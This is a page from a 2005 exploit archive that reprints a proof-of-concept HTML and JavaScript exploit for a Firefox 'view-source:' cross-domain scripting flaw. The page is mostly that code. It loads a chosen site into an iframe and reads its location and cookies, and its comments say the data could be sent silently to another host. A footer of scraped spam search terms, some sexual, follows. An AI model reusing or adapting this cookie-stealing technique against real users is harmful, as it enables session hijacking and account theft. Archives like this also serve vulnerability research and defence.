about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Mozilla Firefox "view-source:" Protocol Cross Domain Scripting Exploit



2005-05-21 Mozilla Firefox "view-source:" Protocol Cross Domain Scripting Exploit
Rated as : Critical 

<html>
<head>
<title>Fireviewing - Proof-of-Concept by mikx</title> 
<script language="JavaScript"
type="text/javascript">

<-- The view-source: pseudo protocol can be used to do cross-domain
scripting -->
<-- without user interaction. This can be used to steal cookies from
other -->
<-- hosts or manipulate the DOM cross-domain. -->
<-- This PoC will show the given URL in the IFRAME and will raise an
alert box -->
<-- containing the document.location and document.cookie property of
that URL -->
<-- when the page is completly loaded. An attacker could easily
automate that -->
<-- action and send the data silently to another host.

var done = true;
function stealCookie() {
if(!done) {
done = true; 
stealframe.location = "view-source:javascript:eval(\"alert('
Location: '+document.location+' \"+String.fromCharCode(92)+\
"n Cookie: '+document.cookie)\")"
}
}
function setLocation(){
done = false;
stealframe.location = document.getElementById("stealurl").value;

}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div
style="font-family:Verdana;font-size:15px;font-weight:bold;">Fireviewing</div>

<div style="width:600px">
<br><br>
<input id="stealurl" type="text"
value="http://www.google.com/" style="width:450px;
font-family:Arial, Helvetica; font-size:12px;">
<input type="button" value="steal from site"
onclick="setLocation()" 
style="width:145px; font-family:Arial, Helvetica;
font-size:12px;">
<br>
<iframe name="stealframe" src="about:blank"
onload="stealCookie()" 
style="width:600px; height:200px;"></iframe>
</div>
</body>
</html>
securitydot.net - 2005-05-21

Advertising

Copyright 2007, SecurityDot
Fri, 11 Dec 2009 01:44:30 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
rooh 3gp sextoo root 2.6.x Julia+pere saniamirja Zoo dog se news for c sex rom www.egypt Sexe vedeo rongqe.b2b My_eGaller phpbb+2.0. vBulletin crack data ron phoeni www.china- Hinata get AS400 Crack Data n...iles/1 uncensored www.gaydar rojasex.co www.stwany Jnifer lop sex+filim regentpowe n...iles/1 Sexy emage web messen php-nuke 2 indea sex shitnasty Jaceka sex Hurstler Free sex w pinkworld Www.Sexfli www.zgbskj Iranisex www.wangdi Display fr netid 200 /compo www.zgbskj www.zgbskj roi046597. chutwali.c roi046597.